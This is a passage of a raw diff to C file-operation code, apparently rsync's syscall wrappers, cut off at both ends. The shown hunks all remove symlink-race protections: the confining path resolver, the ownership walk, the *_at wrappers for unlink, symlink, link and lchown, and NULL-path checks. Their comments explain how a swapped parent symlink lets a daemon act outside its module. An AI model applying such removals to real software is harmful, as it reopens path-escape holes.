(O_CREAT case). Allow it\n-\t\t\t * and openat with O_NOFOLLOW so a race-planted leaf\n-\t\t\t * symlink at this instant is still refused. */\n-\t\t\tif (is_last && errno == ENOENT && (flags & O_CREAT)) {\n-\t\t\t\tif (abspath_step(abspath, sizeof abspath, comp, comp_len) < 0) {\n-\t\t\t\t\tsaved_errno = errno;\n-\t\t\t\t\tgoto out;\n-\t\t\t\t}\n-\t\t\t\tif (!pin_transit && abspath_outside_confinement(abspath, 1)) {\n-\t\t\t\t\tsaved_errno = ELOOP;\n-\t\t\t\t\tgoto out;\n-\t\t\t\t}\n-\t\t\t\tretfd = openat(dfd, comp, flags | O_NOFOLLOW, mode);\n-\t\t\t\tsaved_errno = errno;\n-\t\t\t\tgoto out;\n-\t\t\t}\n-\t\t\tsaved_errno = errno;\n-\t\t\tgoto out;\n-\t\t}\n-\n-\t\tif (S_ISLNK(lst.st_mode)) {\n-\t\t\t/* Symlink: untrusted owner is refused; trusted owner is followed\n-\t\t\t * via readlinkat + splice.  In a user namespace the /proc/self,\n-\t\t\t * /dev/fd and /dev/std* symlinks may report the overflow uid, so\n-             * allow those exact components while traversing a recognised pin. */\n-            int namespace_pin = is_anchored\n-                && ((strcmp(abspath, \"/proc\") == 0 && strcmp(comp, \"self\") == 0)\n-                 || (strcmp(abspath, \"/dev\") == 0 && (strcmp(comp, \"fd\") == 0\n-                    || strcmp(comp, \"stdin\") == 0\n-                    || strcmp(comp, \"stdout\") == 0\n-                    || strcmp(comp, \"stderr\") == 0)));\n-\t\t\tif (!namespace_pin && lst.st_uid != 0 && lst.st_uid != trusted_uid) {\n-\t\t\t\trprintf(FERROR,\n-\t\t\t\t\t\"refusing to follow a symlink owned by an untrusted user; \"\n-\t\t\t\t\t\"use --insecure-links locally or \\\"insecure links = yes\\\" in a \"\n-\t\t\t\t\t\"daemon module ONLY if every path component is trusted\\n\");\n-\t\t\t\tsaved_errno = ELOOP;\n-\t\t\t\tgoto out;\n-\t\t\t}\n-\t\t\tif (--loops < 0) {\t/* cap symlink-follow chains */\n-\t\t\t\tsaved_errno = ELOOP;\n-\t\t\t\tgoto out;\n-\t\t\t}\n-\t\t\tchar target[MAXPATHLEN];\n-\t\t\tssize_t n = readlinkat(dfd, comp, target, sizeof target - 1);\n-\t\t\tif (n < 0) {\n-\t\t\t\tsaved_errno = errno;\n-\t\t\t\tgoto out;\n-\t\t\t}\n-\t\t\ttarget[n] = '\\0';\n-\n-\t\t\t/* Detect Linux kernel pseudo-paths (pipes, sockets, anon_inodes).\n-\t\t\t * These are not real paths on disk and never contain slashes. */\n-\t\t\tconst char *abstail = fd_pin_tail(abspath);\n-\t\t\tint is_fd_dir = (abstail != NULL && *abstail == '\\0' && is_anchored);\n-\t\t\tif (is_fd_dir && (strncmp(target, \"pipe:[\", 6) == 0\n-\t\t\t    || strncmp(target, \"socket:[\", 8) == 0\n-\t\t\t    || strncmp(target, \"anon_inode:\", 11) == 0)) {\n-\t\t\t\tif (!is_last) {\n-\t\t\t\t\tsaved_errno = ENOTDIR;\n-\t\t\t\t\tgoto out;\n-\t\t\t\t}\n-\t\t\t\tif (confine_root) {\n-\t\t\t\t\t/* Anonymous objects cannot be proven to reside beneath\n-\t\t\t\t\t * the confinement root. */\n-\t\t\t\t\tsaved_errno = ENOENT;\n-\t\t\t\t\tgoto out;\n-\t\t\t\t}\n-\t\t\t\t/* Process substitution exposes /dev/fd/X as a symlink to a\n-\t\t\t\t * kernel object. Reopen the validated leaf without O_NOFOLLOW\n-\t\t\t\t * so the kernel applies the caller's requested open flags. */\n-\t\t\t\tretfd = openat(dfd, comp, (flags & ~O_NOFOLLOW) | O_CLOEXEC, mode);\n-\t\t\t\t/* Refuse a descriptor that changed to a filesystem object\n-\t\t\t\t * between validation and openat(). */\n-\t\t\t\tif (retfd >= 0) {\n-\t\t\t\t\tSTRUCT_STAT pst;\n-\t\t\t\t\tif (fstat(retfd, &pst) < 0 || S_ISREG(pst.st_mode) || S_ISDIR(pst.st_mode)) {\n-\t\t\t\t\t\tclose(retfd);\n-\t\t\t\t\t\tretfd = -1;\n-\t\t\t\t\t\terrno = ELOOP;\n-\t\t\t\t\t}\n-\t\t\t\t}\n-\t\t\t\tsaved_errno = retfd < 0 ? errno : 0;\n-\t\t\t\tgoto out;\n-\t\t\t}\n-\n-\t\t\t/* Splice: new `remaining` = <target> + <tail-after-comp>.\n-\t\t\t * Absolute target restarts the walk from \"/\". */\n-\t\t\tchar tail[MAXPATHLEN];\n-\t\t\ttail[0] = '\\0';\n-\t\t\tif (slash)\n-\t\t\t\tstrlcpy(tail, slash, sizeof tail);\n-\n-\t\t\tchar rebuilt[MAXPATHLEN * 2];\n-\t\t\tif (snprintf(rebuilt, sizeof rebuilt, \"%s%s\",\n-\t\t\t\t     target, tail) >= (int)sizeof rebuilt) {\n-\t\t\t\tsaved_errno = ENAMETOOLONG;\n-\t\t\t\tgoto out;\n-\t\t\t}\n-\n-\t\t\tif (target[0] == '/') {\n-\t\t\t\tif (dfd_owns) close(dfd);\n-#ifdef __CYGWIN__\n-\t\t\t\tstrlcpy(remaining, rebuilt, sizeof remaining);\n-\t\t\t\tdfd = ona_open_absolute_root(remaining, abspath, sizeof abspath,\n-\t\t\t\t\t\t\t     dir_traverse_flags);\n-#else\n-\t\t\t\tdfd = open(\"/\", dir_traverse_flags);\n-#endif\n-\t\t\t\tif (dfd < 0) {\n-\t\t\t\t\tsaved_errno = errno;\n-\t\t\t\t\tdfd_owns = 0;\n-\t\t\t\t\tgoto out;\n-\t\t\t\t}\n-\t\t\t\tdfd_owns = 1;\n-#ifndef __CYGWIN__\n-\t\t\t\tabspath[0] = '\\0';\t/* followed an absolute target: restart from \"/\" */\n-\t\t\t\t/* \"self\" resolves to \"<pid>\", still inside the pin;\n-\t\t\t\t * the magic link itself lands elsewhere and ends the\n-\t\t\t\t * exemption.  Never turns back on. */\n-\t\t\t\tis_anchored = 1;\n-\t\t\t\tpin_transit = pin_transit && fd_pin_tail(rebuilt) != NULL;\n-\t\t\t\tchar *p = rebuilt;\n-\t\t\t\twhile (*p == '/') p++;\n-\t\t\t\tstrlcpy(remaining, p, sizeof remaining);\n-#endif\n-\t\t\t} else {\n-\t\t\t\tstrlcpy(remaining, rebuilt, sizeof remaining);\n-\t\t\t}\n-\t\t\tcontinue;\n-\t\t}\n-\n-\t\t/* Non-symlink. */\n-\t\tif (is_last) {\n-\t\t\tif (abspath_step(abspath, sizeof abspath, comp, comp_len) < 0) {\n-\t\t\t\tsaved_errno = errno;\n-\t\t\t\tgoto out;\n-\t\t\t}\n-\t\t\tif (!pin_transit && abspath_outside_confinement(abspath, 1)) {\n-\t\t\t\tsaved_errno = ELOOP;\n-\t\t\t\tgoto out;\n-\t\t\t}\n-\t\t\tretfd = openat(dfd, comp, flags | O_NOFOLLOW, mode);\n-\t\t\tsaved_errno = errno;\n-\t\t\t/* Resolved leaf dir (O_DIRECTORY): hand its path back so\n-\t\t\t * owner_walk_parent can filter-check the operation's leaf. */\n-\t\t\tif (retfd >= 0 && out_abs && out_cap)\n-\t\t\t\t/* Root-resolved (\"..\" popped abspath empty) tracked daemon walk:\n-\t\t\t\t * hand back \"/\" so owner_walk_parent still leaf-checks (path=/ bypass). */\n-\t\t\t\tstrlcpy(out_abs, !abspath[0] ? \"/\" : abspath, out_cap);\n-\t\t\tgoto out;\n-\t\t}\n-\n-\t\tif (!S_ISDIR(lst.st_mode)) {\n-\t\t\tsaved_errno = ENOTDIR;\n-\t\t\tgoto out;\n-\t\t}\n-\t\t/* track the resolved path so a target outside the module is refused */\n-\t\tif (abspath_step(abspath, sizeof abspath, comp, comp_len) < 0) {\n-\t\t\tsaved_errno = errno;\n-\t\t\tgoto out;\n-\t\t}\n-\t\tif (!pin_transit && abspath_outside_confinement(abspath, 0)) {\n-\t\t\tsaved_errno = ELOOP;\n-\t\t\tgoto out;\n-\t\t}\n-\t\tint next = openat(dfd, comp, dir_traverse_flags | O_NOFOLLOW);\n-\t\tif (next < 0) {\n-\t\t\tsaved_errno = errno;\n-\t\t\tgoto out;\n-\t\t}\n-\t\tif (dfd_owns) close(dfd);\n-\t\tdfd = next;\n-\t\tdfd_owns = 1;\n-\n-\t\t/* Advance `remaining` past this component (and the slash). */\n-\t\tif (slash) {\n-\t\t\tchar *p = slash;\n-\t\t\twhile (*p == '/') p++;\n-\t\t\tmemmove(remaining, p, strlen(p) + 1);\n-\t\t} else {\n-\t\t\tremaining[0] = '\\0';\n-\t\t}\n-\t}\n-\n-\t/* Path resolved entirely to a directory (no leaf component left).\n-\t * Reopen the held traversal fd with the caller's requested access mode;\n-\t * an O_PATH fd is sufficient for traversal and fchdir but not operations\n-\t * such as fchmod. */\n-\tif (flags & O_DIRECTORY) {\n-\t\tif (!pin_transit && abspath_outside_confinement(abspath, 1)) {\n-\t\t\tsaved_errno = ELOOP;\n-\t\t\tgoto out;\n-\t\t}\n-\t\tretfd = openat(dfd, \".\", flags | O_NOFOLLOW, mode);\n-\t\tsaved_errno = retfd < 0 ? errno : 0;\n-\t\tif (out_abs && out_cap)\n-\t\t\t/* Root-resolved (\"..\" popped abspath empty) tracked daemon walk:\n-\t\t\t * hand back \"/\" so owner_walk_parent still leaf-checks (path=/ bypass). */\n-\t\t\tstrlcpy(out_abs, !abspath[0] ? \"/\" : abspath, out_cap);\n-\t} else {\n-\t\tsaved_errno = EISDIR;\n-\t}\n-\n-out:\n-\tif (dfd_owns) close(dfd);\n-\terrno = saved_errno;\n-\treturn retfd;\n-#else\n-\t/* Pre-AT_FDCWD / no O_NOFOLLOW systems: best-effort fallback. */\n-\t(void)out_abs; (void)out_cap;\n-\treturn open(path, flags, mode);\n-#endif\n-}\n-\n-int open_no_attacker_symlinks(const char *path, int flags, mode_t mode)\n-{\n-\treturn ona_open(path, flags, mode, NULL, 0);\n-}\n-\n-/* Open a directory for traversal or as *at()/fchdir() authority.  Unlike an\n- * O_RDONLY directory endpoint, this accepts a searchable but unreadable\n- * directory on Linux. */\n-int open_no_attacker_symlinks_dirfd(const char *path)\n-{\n-\treturn ona_open(path, directory_traverse_flags(), 0, NULL, 0);\n-}\n-\n-/* When set, the do_*_at() wrappers resolve their path as an OPERATOR-supplied\n- * directory path (an absolute or relative --backup-dir/--temp-dir/--*-dest)\n- * using the ownership walk -- follow a symlink owned by uid 0 or our euid,\n- * refuse any other-uid one, at every component -- instead of the stricter\n- * transfer-path resolver (which refuses all symlinks and is confined beneath the\n- * transfer root).  An operator path may legitimately point outside the tree, so\n- * the trust signal is authority (ownership), not location.  Set around the\n- * relevant ops by backup.c et al.; the opt-out (--insecure-links / \"insecure\n- * links =\") restores legacy following.  Default 0 (transfer-path resolver). */\n-int operator_path_resolve = 0;\n-int filesfrom_owner_walk_override = 0;\n-\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-/* For an operator-supplied path: open its parent directory via the ownership\n- * walk (handles absolute and relative paths) and point *bname at the final\n- * component.  Returns the dirfd (caller closes) or -1 with errno set. */\n-int owner_walk_parent(const char *path, const char **bname)\n-{\n-\tconst char *slash = strrchr(path, '/');\n-\tchar dir[MAXPATHLEN], pabs[MAXPATHLEN];\n-\tsize_t dlen;\n-\tint dfd;\n-\n-\t*bname = slash ? slash + 1 : path;\n-\tpabs[0] = '\\0';\n-\tif (!slash)\n-\t\tdfd = ona_open(\".\", directory_traverse_flags(), 0, pabs, sizeof pabs);\n-\telse {\n-\t\tdlen = slash == path ? 1 : (size_t)(slash - path); /* \"/x\" -> parent \"/\" */\n-\t\tif (dlen >= sizeof dir) {\n-\t\t\terrno = ENAMETOOLONG;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tmemcpy(dir, path, dlen);\n-\t\tdir[dlen] = '\\0';\n-\t\tdfd = ona_open(dir, directory_traverse_flags(), 0, pabs, sizeof pabs);\n-\t}\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\t/* owner_walk only resolved the PARENT; check the resolved leaf too, so a\n-\t * symlinked operator path cannot act on a leaf that resolves OUTSIDE the\n-\t * module in an otherwise-served dir.  (The module exclude/filter is name-\n-\t * based and not enforced here -- see abspath_outside_confinement.) */\n-\tif (pabs[0]) {\n-\t\tif (check_abspath_leaf(pabs, *bname) < 0) {\n-\t\t\tclose(dfd);\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n-\treturn dfd;\n-}\n-#endif\n \n #ifndef S_BLKSIZE\n # if defined hpux || defined __hpux__ || defined __hpux\n@@ -840,11 +81,6 @@ struct create_time {\n \n #define RETURN_ERROR_IF_RO_OR_LO RETURN_ERROR_IF(read_only || list_only, EROFS)\n \n-/* A NULL path reaching one of the path-forwarding wrappers below is always a\n- * caller bug; reject it rather than forwarding NULL to libc.  Also quiets the\n- * static analyzer's interprocedural nonnull false positives. */\n-#define RETURN_ERROR_IF_NULL(p) RETURN_ERROR_IF(!(p), EFAULT)\n-\n int do_unlink(const char *path)\n {\n \tif (dry_run) return 0;\n@@ -852,86 +88,11 @@ int do_unlink(const char *path)\n \treturn unlink(path);\n }\n \n-/*\n-  Symlink-race-safe variant of do_unlink() for receiver-side use. See\n-  the comment on do_chmod_at() for the threat model. unlink() resolves\n-  parent components, so a parent-symlink swap can delete an outside\n-  file under the daemon's authority. Defence: open the parent of path\n-  under secure_relative_open() and use unlinkat() (flags=0) against\n-  that dirfd.\n-\n-  Falls through to do_unlink() for the same dry-run / non-daemon /\n-  chrooted / no-parent / absolute-path cases as the other wrappers.\n-*/\n-int do_unlink_at(const char *path)\n-{\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd, ret, e;\n-\tsize_t dlen;\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(path);\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (operator_path_resolve) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn unlink(path);\n-\t\tdfd = owner_walk_parent(path, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tret = unlinkat(dfd, bname, 0);\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\tif (!secure_relpath_active())\n-\t\treturn unlink(path);\n-\n-\tif (!path || !*path || *path == '/')\n-\t\treturn unlink(path);\n-\n-\tslash = strrchr(path, '/');\n-\tif (!slash)\n-\t\treturn unlink(path);\n-\n-\tdlen = slash - path;\n-\tif (dlen >= sizeof dirpath) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tmemcpy(dirpath, path, dlen);\n-\tdirpath[dlen] = '\\0';\n-\tbname = slash + 1;\n-\n-\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\n-\tret = unlinkat(dfd, bname, 0);\n-\te = errno;\n-\tclose(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_unlink(path);\n-#endif\n-}\n-\n #ifdef SUPPORT_LINKS\n int do_symlink(const char *lnk, const char *path)\n {\n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(lnk);\n-\tRETURN_ERROR_IF_NULL(path);\n \n #if defined NO_SYMLINK_XATTRS || defined NO_SYMLINK_USER_XATTRS\n \t/* For --fake-super, we create a normal file with mode 0600\n@@ -951,120 +112,6 @@ int do_symlink(const char *lnk, const char *path)\n \treturn symlink(lnk, path);\n }\n \n-/*\n-  Symlink-race-safe variant of do_symlink() for receiver-side use. See\n-  the comment on do_chmod_at() for the threat model. For a real symlink\n-  only the parent directory of `path` needs protection -- symlinkat()\n-  does not resolve the final component (it creates it). Defence: open\n-  the parent of `path` under secure_relative_open() and call symlinkat()\n-  against that dirfd; a top-level (no-slash) path has no parent to\n-  confine, so it uses AT_FDCWD directly. The link target string `lnk` is\n-  stored verbatim and not resolved at creation time, so it doesn't need\n-  scrutiny here.\n-\n-  For --fake-super (am_root < 0) the \"symlink\" is written as a regular\n-  file, so the final component IS resolved at creation: we create it\n-  with openat(... O_NOFOLLOW) so a pre-planted symlink at the basename\n-  cannot redirect the write outside the module. This protection applies\n-  to top-level paths too -- the previous code fell through to the\n-  bare-path do_symlink() there, whose plain open() followed such a\n-  symlink.\n-*/\n-int do_symlink_at(const char *lnk, const char *path)\n-{\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd = AT_FDCWD, ret, e;\n-\tBOOL owns = False;\n-\tsize_t dlen;\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (operator_path_resolve) {\n-\t\t/* Operator path (e.g. an absolute --backup-dir): confine the\n-\t\t * parent with the ownership walk, then fall through to the shared\n-\t\t * leaf-creation below so fake-super emulation is preserved. */\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn do_symlink(lnk, path);\n-\t\tdfd = owner_walk_parent(path, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\towns = True;\n-\t} else\n-#endif\n-\t{\n-\t\tif (!secure_relpath_active())\n-\t\t\treturn do_symlink(lnk, path);\n-\n-\t\tif (!path || !*path || *path == '/')\n-\t\t\treturn do_symlink(lnk, path);\n-\n-\t\t/* A path with a slash needs secure_relative_open to confine its\n-\t\t * parent; a top-level path is in CWD (AT_FDCWD), no parent to\n-\t\t * subvert.  The leaf is protected below either way (symlinkat()\n-\t\t * won't follow it; the fake-super openat() uses O_NOFOLLOW). */\n-\t\tslash = strrchr(path, '/');\n-\t\tif (slash) {\n-\t\t\tdlen = slash - path;\n-\t\t\tif (dlen >= sizeof dirpath) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tmemcpy(dirpath, path, dlen);\n-\t\t\tdirpath[dlen] = '\\0';\n-\t\t\tbname = slash + 1;\n-\t\t\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\t\t\tif (dfd < 0)\n-\t\t\t\treturn -1;\n-\t\t\towns = True;\n-\t\t} else {\n-\t\t\tbname = path;\n-\t\t}\n-\t}\n-\n-#if defined NO_SYMLINK_XATTRS || defined NO_SYMLINK_USER_XATTRS\n-\t/* For --fake-super, do_symlink writes the link target into a\n-\t * regular file rather than creating a real symlink. Do that here\n-\t * against the (secure or AT_FDCWD) dirfd, with O_NOFOLLOW so a pre-\n-\t * planted symlink at the basename can't redirect the file creation. */\n-\tif (am_root < 0) {\n-\t\tint len = strlen(lnk);\n-\t\tint fd = openat(dfd, bname,\n-\t\t\t\tO_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW,\n-\t\t\t\tS_IWUSR | S_IRUSR);\n-\t\tif (fd < 0) {\n-\t\t\te = errno;\n-\t\t\tif (owns) close(dfd);\n-\t\t\terrno = e;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tret = (write(fd, lnk, len) == len) ? 0 : -1;\n-\t\tif (close(fd) < 0)\n-\t\t\tret = -1;\n-\t\te = errno;\n-\t\tif (owns) close(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\tret = symlinkat(lnk, dfd, bname);\n-\te = errno;\n-\tif (owns) close(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_symlink(lnk, path);\n-#endif\n-}\n-\n-/* NOFOLLOW_HIT_SYMLINK() lives in rsync.h (shared with util1.c's change_dir). */\n-\n #if defined NO_SYMLINK_XATTRS || defined NO_SYMLINK_USER_XATTRS\n ssize_t do_readlink(const char *path, char *buf, size_t bufsiz)\n {\n@@ -1076,7 +123,7 @@ ssize_t do_readlink(const char *path, char *buf, size_t bufsiz)\n \t\t\tclose(fd);\n \t\t\treturn len;\n \t\t}\n-\t\tif (!NOFOLLOW_HIT_SYMLINK(errno))\n+\t\tif (errno != ELOOP)\n \t\t\treturn -1;\n \t\t/* A real symlink needs to be turned into a fake one on the receiving\n \t\t * side, so tell the generator that the link has no length. */\n@@ -1088,30 +135,6 @@ ssize_t do_readlink(const char *path, char *buf, size_t bufsiz)\n \treturn readlink(path, buf, bufsiz);\n }\n #endif\n-\n-ssize_t do_readlink_atfd(int dfd, const char *name, char *buf, size_t bufsiz)\n-{\n-#ifdef AT_FDCWD\n-# if defined NO_SYMLINK_XATTRS || defined NO_SYMLINK_USER_XATTRS\n-\tif (am_root < 0) {\n-\t\tint fd = openat(dfd, name, O_RDONLY | O_NOFOLLOW);\n-\t\tif (fd >= 0) {\n-\t\t\tint len = read(fd, buf, bufsiz);\n-\t\t\tclose(fd);\n-\t\t\treturn len;\n-\t\t}\n-\t\tif (!NOFOLLOW_HIT_SYMLINK(errno))\n-\t\t\treturn -1;\n-\t\tif (!am_sender)\n-\t\t\treturn 0;\n-\t}\n-# endif\n-\treturn readlinkat(dfd, name, buf, bufsiz);\n-#else\n-\t(void)dfd;\n-\treturn do_readlink(name, buf, bufsiz);\n-#endif\n-}\n #endif\n \n #if defined HAVE_LINK || defined HAVE_LINKAT\n@@ -1119,268 +142,28 @@ int do_link(const char *old_path, const char *new_path)\n {\n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(old_path);\n-\tRETURN_ERROR_IF_NULL(new_path);\n #ifdef HAVE_LINKAT\n \treturn linkat(AT_FDCWD, old_path, AT_FDCWD, new_path, 0);\n #else\n \treturn link(old_path, new_path);\n #endif\n }\n+#endif\n \n-/*\n-  Symlink-race-safe variant of do_link() for receiver-side use. See\n-  the comment on do_chmod_at() for the threat model. link() resolves\n-  parent components of *both* old_path and new_path, so a parent-\n-  symlink swap on either side can plant the new hard link outside\n-  the module, or hard-link an outside file into the module (read\n-  disclosure).\n-\n-  Defence: open each parent under secure_relative_open() and use\n-  linkat() between the two dirfds, reusing one when the parents\n-  match. flags=0 matches the existing do_link() (don't follow a\n-  symbolic-link old_path). Only available on systems with linkat();\n-  pre-AT_FDCWD systems fall through to do_link().\n-*/\n-int do_link_at(const char *old_path, const char *new_path)\n+int do_lchown(const char *path, uid_t owner, gid_t group)\n {\n-#if defined AT_FDCWD && defined HAVE_LINKAT\n-\textern int am_daemon, am_chrooted;\n-\tchar old_dirpath[MAXPATHLEN], new_dirpath[MAXPATHLEN];\n-\tconst char *old_bname, *new_bname;\n-\tconst char *old_slash, *new_slash;\n-\tint old_dfd = AT_FDCWD, new_dfd = AT_FDCWD;\n-\tBOOL old_owns = False, new_owns = False;\n-\tint ret, e;\n-\tsize_t old_dlen = 0, new_dlen = 0;\n-\n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n-\n-\tif (!secure_relpath_active())\n-\t\treturn do_link(old_path, new_path);\n-\n-\tif (!old_path || !*old_path || !new_path || !*new_path)\n-\t\treturn do_link(old_path, new_path);\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t/* Operator-supplied path (a --backup-dir/--link-dest side): resolve each\n-\t * parent via the ownership walk (follow uid0/euid symlinks, refuse others). */\n-\tif (operator_path_resolve) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn do_link(old_path, new_path);\n-\t\told_dfd = owner_walk_parent(old_path, &old_bname);\n-\t\tif (old_dfd < 0)\n-\t\t\treturn -1;\n-\t\tnew_dfd = owner_walk_parent(new_path, &new_bname);\n-\t\tif (new_dfd < 0) {\n-\t\t\te = errno;\n-\t\t\tclose(old_dfd);\n-\t\t\terrno = e;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tret = linkat(old_dfd, old_bname, new_dfd, new_bname, 0);\n-\t\te = errno;\n-\t\tclose(new_dfd);\n-\t\tclose(old_dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\told_slash = strrchr(old_path, '/');\n-\tnew_slash = strrchr(new_path, '/');\n-\n-\t/* Resolve each path's parent dir independently. A path without a\n-\t * slash lives in CWD (AT_FDCWD), no parent open required. A path\n-\t * with a slash needs secure_relative_open to confine its parent\n-\t * resolution -- otherwise a parent symlink (e.g. --link-dest=cd\n-\t * where cd -> /outside) lets the kernel-level linkat(AT_FDCWD,\n-\t * \"cd/target.txt\", ...) escape the module.  An absolute path uses\n-\t * AT_FDCWD + the full path; each side is confined independently, so an\n-\t * absolute source (e.g. an absolute --link-dest) cannot disable\n-\t * confinement of a relative destination.  An absolute side is an operator\n-\t * path resolved via the ownership walk (foreign-owned parent symlink refused;\n-\t * --insecure-links keeps the legacy AT_FDCWD path). */\n-\tif (*old_path == '/') {\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t\tif (!symlink_optout_allowed()) {\n-\t\t\toperator_path_resolve = 1;\t/* operator side: enforce module-exclude */\n-\t\t\told_dfd = owner_walk_parent(old_path, &old_bname);\n-\t\t\toperator_path_resolve = 0;\n-\t\t\tif (old_dfd < 0)\n-\t\t\t\treturn -1;\n-\t\t\told_owns = True;\n-\t\t} else\n-#endif\n-\t\t\told_bname = old_path;\n-\t} else if (old_slash) {\n-\t\told_dlen = old_slash - old_path;\n-\t\tif (old_dlen >= sizeof old_dirpath) { errno = ENAMETOOLONG; return -1; }\n-\t\tmemcpy(old_dirpath, old_path, old_dlen);\n-\t\told_dirpath[old_dlen] = '\\0';\n-\t\told_bname = old_slash + 1;\n-\t\told_dfd = secure_relative_dirfd(NULL, old_dirpath);\n-\t\tif (old_dfd < 0)\n-\t\t\treturn -1;\n-\t\told_owns = True;\n-\t} else {\n-\t\told_bname = old_path;\n-\t}\n-\n-\tif (*new_path == '/') {\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t\tif (!symlink_optout_allowed()) {\n-\t\t\toperator_path_resolve = 1;\t/* operator side: enforce module-exclude */\n-\t\t\tnew_dfd = owner_walk_parent(new_path, &new_bname);\n-\t\t\toperator_path_resolve = 0;\n-\t\t\tif (new_dfd < 0) {\n-\t\t\t\te = errno;\n-\t\t\t\tif (old_owns) close(old_dfd);\n-\t\t\t\terrno = e;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tnew_owns = True;\n-\t\t} else\n-#endif\n-\t\t\tnew_bname = new_path;\n-\t} else if (new_slash) {\n-\t\tnew_dlen = new_slash - new_path;\n-\t\tif (new_dlen >= sizeof new_dirpath) {\n-\t\t\te = ENAMETOOLONG;\n-\t\t\tif (old_owns) close(old_dfd);\n-\t\t\terrno = e;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tmemcpy(new_dirpath, new_path, new_dlen);\n-\t\tnew_dirpath[new_dlen] = '\\0';\n-\t\tnew_bname = new_slash + 1;\n-\t\tif (old_owns && old_dlen == new_dlen\n-\t\t && memcmp(old_dirpath, new_dirpath, old_dlen) == 0) {\n-\t\t\tnew_dfd = old_dfd;\n-\t\t} else {\n-\t\t\tnew_dfd = secure_relative_dirfd(NULL, new_dirpath);\n-\t\t\tif (new_dfd < 0) {\n-\t\t\t\te = errno;\n-\t\t\t\tif (old_owns) close(old_dfd);\n-\t\t\t\terrno = e;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tnew_owns = True;\n-\t\t}\n-\t} else {\n-\t\tnew_bname = new_path;\n-\t}\n-\n-\tret = linkat(old_dfd, old_bname, new_dfd, new_bname, 0);\n-\te = errno;\n-\tif (new_owns)\n-\t\tclose(new_dfd);\n-\tif (old_owns)\n-\t\tclose(old_dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_link(old_path, new_path);\n-#endif\n-}\n-#endif\n-\n-int do_lchown(const char *path, uid_t owner, gid_t group)\n-{\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(path);\n #ifndef HAVE_LCHOWN\n #define lchown chown\n #endif\n \treturn lchown(path, owner, group);\n }\n \n-/*\n-  Symlink-race-safe variant of do_lchown() for receiver-side use. See the\n-  comment on do_chmod_at() for the threat model and design rationale.\n-\n-  Resolves the parent directory under secure_relative_open() and invokes\n-  fchownat(..., AT_SYMLINK_NOFOLLOW) against that dirfd, so that an\n-  attacker who substitutes a symlink into one of the parent components\n-  cannot redirect the chown outside the receiver's confinement. The\n-  AT_SYMLINK_NOFOLLOW flag matches lchown()'s \"do not follow a final-\n-  component symlink\" semantics.\n-\n-  Falls through to do_lchown() in the dry-run / non-daemon / chrooted /\n-  absolute-path / no-parent cases, identical to do_chmod_at().\n-*/\n-int do_lchown_at(const char *fname, uid_t owner, gid_t group)\n-{\n-#if defined AT_FDCWD && defined AT_SYMLINK_NOFOLLOW\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd, ret, e;\n-\tsize_t dlen;\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t/* Operator-supplied path: resolve the parent via the ownership walk, as\n-\t * the other do_*_at() wrappers do.  Without this the caller's\n-\t * operator_path_resolve has no effect here, and an absolute name would\n-\t * fall straight through to the unconfined full-path do_lchown(). */\n-\tif (operator_path_resolve && fname && *fname) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn do_lchown(fname, owner, group);\n-\t\tdfd = owner_walk_parent(fname, &bname);\n-\t\tif (dfd < 